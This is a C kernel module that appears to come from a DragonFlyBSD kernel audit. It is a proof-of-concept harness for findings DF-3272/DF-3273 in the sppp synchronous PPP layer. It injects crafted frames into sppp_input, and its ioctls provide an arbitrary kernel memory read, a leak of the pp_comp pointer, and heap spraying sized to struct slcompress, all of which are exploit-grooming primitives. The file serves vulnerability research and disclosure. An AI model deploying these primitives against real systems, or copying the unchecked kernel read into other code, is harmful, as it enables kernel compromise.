⬢ DragonFlyBSD Kernel Audit
DF-3273 / sppp_harness.c
← back to finding ↓ download raw
/*
 * sppp_harness.c -- PoC harness for DF-3272 / DF-3273
 *
 * Models the "synchronous PPP lower-layer driver": allocates a real
 * struct sppp (the way classic sync-serial drivers do, NOT if_alloc),
 * attaches it via sppp_attach()/if_attach(), and exposes /dev/spppinj0:
 *
 *   write(fd, frame, n)  -> n bytes become ONE mbuf handed to sppp_input()
 *                           (exactly what ng_sppp.c:ng_sppp_rcvdata does)
 *   read(fd, buf, n)     -> returns frames the sppp layer transmitted
 *                           (drained from if_start, i.e. the wire)
 *   ioctl SPPINJ_CTLCNT  -> int: # of control frames TX'd (info only)
 *
 * The sppp code under test is the STOCK kernel sppp.ko.  This module only
 * feeds it, like any HDLC/framing driver would.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/uio.h>
#include <sys/ioccom.h>
#include <sys/thread2.h>
#include <sys/sysctl.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_arp.h>
#include <net/if_types.h>
#include <net/ifq_var.h>
#include <net/slcompress.h>
#include <net/sppp/if_sppp.h>

#define SPPINJ_GETMEM		_IOWR('j', 1, struct sppinj_mem)  /* dump memory  */
#define SPPINJ_SPRAY		_IO('j', 2)			   /* groom class  */
#define SPPINJ_UNSPRAY		_IO('j', 3)			   /* drop groom   */
#define SPPINJ_GETCOMP		_IOR('j', 4, uint64_t)		   /* pp_comp addr */

struct sppinj_mem {
	uint64_t	addr;		/* kernel addr (PoC introspection) */
	uint32_t	len;		/* 0..4096 */
	uint32_t	pad;
	uint8_t		data[4096];
};

#define CAP_N	256
#define SPRAY_N 64

struct shim_softc {
	struct sppp		sh_sppp;
	struct mbuf		*cap[CAP_N];
	int			cap_head, cap_count;
	cdev_t			dev;
	/* heap-groom spray: SPRAY_N chunks sized like struct slcompress */
	void			*spray[SPRAY_N];
};

static struct shim_softc *shim;

MALLOC_DEFINE(M_SPPINJ, "spppinj", "sppp injection harness");

static void
shim_capstore(struct mbuf *m)
{
	crit_enter();
	if (shim->cap_count >= CAP_N) {
		m_freem(m);
	} else {
		shim->cap[(shim->cap_head + shim->cap_count) % CAP_N] = m;
		shim->cap_count++;
	}
	crit_exit();
}

/* if_start: the "transmitter" -- capture instead of sending on a wire */
static void
shim_start(struct ifnet *ifp, struct ifaltq_subque *ifsq)
{
	struct mbuf *m;

	for (;;) {
		m = sppp_dequeue(ifp);
		if (m == NULL)
			break;
		shim_capstore(m);
	}
}

static int
shim_open(struct dev_open_args *ap)
{
	return 0;
}

static int
shim_close(struct dev_close_args *ap)
{
	return 0;
}

static int
shim_read(struct dev_read_args *ap)
{
	struct uio *uio = ap->a_uio;
	struct mbuf *m;
	int len, error = 0;

	crit_enter();
	if (shim->cap_count == 0) {
		crit_exit();
		return EWOULDBLOCK;	/* use before first read poll w/ sleep */
	}
	m = shim->cap[shim->cap_head];
	shim->cap_head = (shim->cap_head + 1) % CAP_N;
	shim->cap_count--;
	crit_exit();

	len = min(uio->uio_resid, m->m_len);
	error = uiomove(mtod(m, caddr_t), len, uio);
	m_freem(m);
	return error;
}

static int
shim_write(struct dev_write_args *ap)
{
	struct uio *uio = ap->a_uio;
	struct mbuf *m;
	int len = uio->uio_resid;

	if (len <= 0 || len > MCLBYTES)
		return EINVAL;

	m = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR);
	if (m == NULL)
		return ENOBUFS;
	if (uiomove(mtod(m, caddr_t), len, uio)) {
		m_freem(m);
		return EFAULT;
	}
	m->m_pkthdr.len = m->m_len = len;
	m->m_pkthdr.rcvif = &shim->sh_sppp.pp_if;

	/* the wire delivered a frame to the sync PPP layer */
	kprintf("spppinj: RX %02x %02x %02x %02x %02x %02x %02x %02x (%d b)\n",
		(unsigned)mtod(m, u_char *)[0], (unsigned)mtod(m, u_char *)[1],
		(unsigned)mtod(m, u_char *)[2], (unsigned)mtod(m, u_char *)[3],
		(unsigned)mtod(m, u_char *)[4], (unsigned)mtod(m, u_char *)[5],
		(unsigned)mtod(m, u_char *)[6], (unsigned)mtod(m, u_char *)[7], len);
	sppp_input(&shim->sh_sppp.pp_if, m);
	kprintf("spppinj: RX done\n");
	return 0;
}

static int
shim_ioctl(struct dev_ioctl_args *ap)
{
	struct sppinj_mem *c = (struct sppinj_mem *)ap->a_data;
	uint64_t compaddr;
	int i;

	switch (ap->a_cmd) {
	case SPPINJ_GETMEM:
		if (c->len > sizeof(c->data) || c->len == 0)
			return EINVAL;
		/* PoC introspection only: copy-out kernel memory at addr */
		memcpy(c->data, (const void *)(uintptr_t)c->addr, c->len);
		return 0;
	case SPPINJ_GETCOMP:
		compaddr = (uint64_t)(uintptr_t)shim->sh_sppp.pp_comp;
		memcpy(ap->a_data, &compaddr, sizeof(compaddr));
		return 0;
	case SPPINJ_SPRAY:
		/* groom the slcompress size class (like more sppp links) */
		for (i = 0; i < SPRAY_N; i++) {
			if (shim->spray[i] == NULL)
				shim->spray[i] = kmalloc(sizeof(struct slcompress),
							 M_SPPINJ, M_WAITOK | M_ZERO);
		}
		kprintf("spppinj: sprayed %d x %zu-byte chunks\n",
			SPRAY_N, sizeof(struct slcompress));
		return 0;
	case SPPINJ_UNSPRAY:
		for (i = 0; i < SPRAY_N; i++) {
			if (shim->spray[i]) {
				kfree(shim->spray[i], M_SPPINJ);
				shim->spray[i] = NULL;
			}
		}
		return 0;
	default:
		break;
	}
	return ENOTTY;
}

static int
shim_if_ioctl(struct ifnet *ifp, u_long cmd, char *data, struct ucred *cred)
{
	return sppp_ioctl(ifp, cmd, data);
}

static struct dev_ops spppinj_ops = {
	{ "spppinj", 0, 0 },
	.d_open =	shim_open,
	.d_close =	shim_close,
	.d_read =	shim_read,
	.d_write =	shim_write,
	.d_ioctl =	shim_ioctl,
};

static int
sppp_harness_modevent(module_t mod, int type, void *arg)
{
	struct ifnet *ifp;
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		shim = kmalloc(sizeof(*shim), M_SPPINJ, M_WAITOK | M_ZERO);
		ifp = &shim->sh_sppp.pp_if;
		ifp->if_softc = shim;
		if_initname(ifp, "spp", 0);
		ifp->if_start = shim_start;
		ifp->if_ioctl = shim_if_ioctl;
		sppp_attach(ifp);
		if_attach(ifp, NULL);
		shim->dev = make_dev(&spppinj_ops, 0, UID_ROOT, GID_WHEEL,
				     0600, "spppinj0");
		kprintf("spppinj: harness attached, iface spp0, "
			"sizeof(slcompress)=%zu\n", sizeof(struct slcompress));
		break;
	case MOD_UNLOAD: {
		struct ifnet *uifp = &shim->sh_sppp.pp_if;
		destroy_dev(shim->dev);
		sppp_detach(uifp);
		if_detach(uifp);
		kfree(shim, M_SPPINJ);
		shim = NULL;
		break;
	}
	default:
		break;
	}
	return error;
}

static moduledata_t sppp_harness_mod = { "sppp_harness", sppp_harness_modevent, 0 };
DECLARE_MODULE(sppp_harness, sppp_harness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(sppp_harness, sppp, 1, 1, 1);